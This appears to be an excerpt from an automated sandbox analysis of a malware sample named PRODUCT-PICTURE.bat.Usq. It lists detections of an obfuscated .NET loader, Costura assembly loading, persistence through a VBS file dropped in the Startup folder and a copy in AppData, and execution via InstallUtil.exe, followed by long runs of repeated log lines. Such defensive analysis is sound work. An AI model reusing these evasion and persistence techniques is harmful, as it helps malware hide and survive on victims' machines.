.Net Code: Type.GetTypeFromHandle(yH8bfU19v006PiscBhC.Nxy8vRuWxb(16777347)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(yH8bfU19v006PiscBhC.Nxy8vRuWxb(16777252)),Type.GetTypeFromHandle(yH8bfU19v006PiscBhC.Nxy8vRuWxb(16777284))})

.NET source code contains potential unpacker

Source: 6.2.PRODUCT-PICTURE.bat.Usq.8240000.5.raw.unpack, ClassInitializerProperty.cs	.Net Code: SetupSingleton System.Reflection.Assembly.Load(byte[])
Source: 6.2.PRODUCT-PICTURE.bat.Usq.8740000.7.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 6.2.PRODUCT-PICTURE.bat.Usq.8740000.7.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 6.2.PRODUCT-PICTURE.bat.Usq.8740000.7.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 6.2.PRODUCT-PICTURE.bat.Usq.8740000.7.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 6.2.PRODUCT-PICTURE.bat.Usq.8740000.7.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 6.2.PRODUCT-PICTURE.bat.Usq.905c708.15.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 6.2.PRODUCT-PICTURE.bat.Usq.905c708.15.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 6.2.PRODUCT-PICTURE.bat.Usq.905c708.15.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 6.2.PRODUCT-PICTURE.bat.Usq.905c708.15.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 6.2.PRODUCT-PICTURE.bat.Usq.905c708.15.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 15.2.IV.bat.Usq.90964c8.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.PRODUCT-PICTURE.bat.Usq.8da0000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.PRODUCT-PICTURE.bat.Usq.8fa64c8.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.1691416942.0000000004F3D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1839930699.0000000004FB9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1716108086.0000000008DA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1911240345.0000000009096000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PRODUCT-PICTURE.bat.Usq PID: 7460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: IV.bat.Usq PID: 7928, type: MEMORYSTR

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_046AB057 push 00000004h; iretd	6_2_046AB0E4
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_046AB0E6 push 00000004h; iretd	6_2_046AB0E4
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_046AB22B push 00000004h; retf	6_2_046AB230
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_046AB926 push 00000004h; ret	6_2_046AB930
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E13DF3 push edi; ret	6_2_08E13DF6
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08E202CD push es; retf	6_2_08E202D3
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Code function: 6_2_08ED3EB0 push ds; ret	6_2_08ED3EB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 7_2_007CEF9C pushad ; ret	7_2_007CEFA5
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_088E02CD push es; retf	15_2_088E02D3
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_088EE223 push esp; ret	15_2_088EE229
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_08F03DF3 push edi; ret	15_2_08F03DF6
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Code function: 15_2_08FC3E9D push ds; ret	15_2_08FC3EB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 17_2_0292F070 push es; ret	17_2_0292F07C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 17_2_06C2268C push dword ptr [ecx+ecx-75h]; iretd	17_2_06C2269B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 17_2_06C211B0 push es; ret	17_2_06C211C0

Source: 6.2.PRODUCT-PICTURE.bat.Usq.68c1d10.3.raw.unpack, zZTKJ6Iuv6GdQ4CdEvh.cs	High entropy of concatenated method names: 'ORqIXyeuHs', 'Ol4IPPaMkg', 'X1bwJDyG0tCSulS3hYL', 'MGrotQycDS0vxvJt3Br', 'ffkbldyWSKpAfUxjJxu', 'ksu9QgyyI0MQX3Q9MPg', 'xNNkW4ygOc3F26g1paf', 'X3X61dyHBw37yb842og', 'DA4p8byqxqNuR3aLJJf', 'us9Q24yojO7LeCC8Z2r'
Source: 6.2.PRODUCT-PICTURE.bat.Usq.68c1d10.3.raw.unpack, AssemblyLoader.cs	High entropy of concatenated method names: 'CultureToString', 'ReadExistingAssembly', 'CopyTo', 'LoadStream', 'LoadStream', 'ReadStream', 'ReadFromEmbeddedResources', 'ResolveAssembly', 'Attach', 'apJbh3gSdNscOtAddmM'
Source: 6.2.PRODUCT-PICTURE.bat.Usq.68c1d10.3.raw.unpack, zJQENU1zgpg3IgouSPe.cs	High entropy of concatenated method names: 'hIDjRwSgRT', 'skyj6q5NiL', 'Ylrj7JGUoW', 'sZ2jxKJ5lA', 'iLWjFEeBSw', 'hLgjOEy4Gt', 'mQtjZjI6Av', 'WQsre9IYZn', 'B59jk6uxq7', 'lB3j9YIMSt'
Source: 6.2.PRODUCT-PICTURE.bat.Usq.68c1d10.3.raw.unpack, sXeGX51cyieQnje2IpS.cs	High entropy of concatenated method names: 'wEw1pLNNbX', 'Sq61UdWEH9', 'cmU1aSIT3S', 'SV11J6OKWQ', 'wRp1Q2WLDj', 'GxX1LDK53O', 'j5M1Y9oUhQ', 'A6D1ixleVN', 'Wlq12Y9Yca', 'n9y1bpmxji'
Source: 6.2.PRODUCT-PICTURE.bat.Usq.68c1d10.3.raw.unpack, JgwjO5IGcWdA32KQ9V2.cs	High entropy of concatenated method names: 'q2P3FQgs8Z1USMkDl4h', 'dxYVcpg856a7CLmTIhU', 'WAy11wXPOM', 'MNaORHgUtKbBlXTXepP', 'NgQ4iMgakYfxLDeoxTR', 'E0DbepgJhMpUGT480dL', 'B2MCtUgQolLsUTU7Oxm', 'l5u8tPgLG3A9uJTwKmT', 'g38PJ8K3c0', 'NSr1jv6YGy'
Source: 6.2.PRODUCT-PICTURE.bat.Usq.68c1d10.3.raw.unpack, b8EqsdT94B267ItpvL4.cs	High entropy of concatenated method names: 'LNvT0x0kch', 'C0wTnjcU1J', 'XQSTGo7Mo8', 'cfqTcIR5EV', 'SIWTWtGZ1G', 'PeLx4ocdeJl05SD65MQ', 'lPfOZscleoAWjLLiniE', 'XbgTR3cuvRlNaKyJwMY', 'EW5jXKcjpltWO1uTXBU', 'cb5GYZcXurjTUhEENDC'

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior

Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\IV.bat.Usq			Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq			Jump to dropped file

Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq			Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	File created: C:\Users\user\AppData\Roaming\IV.bat.Usq			Jump to dropped file

Boot Survival

Drops VBS files to the startup folder

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IV.vbs

Jump to dropped file

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IV.vbs

Jump to behavior

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IV.vbs

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
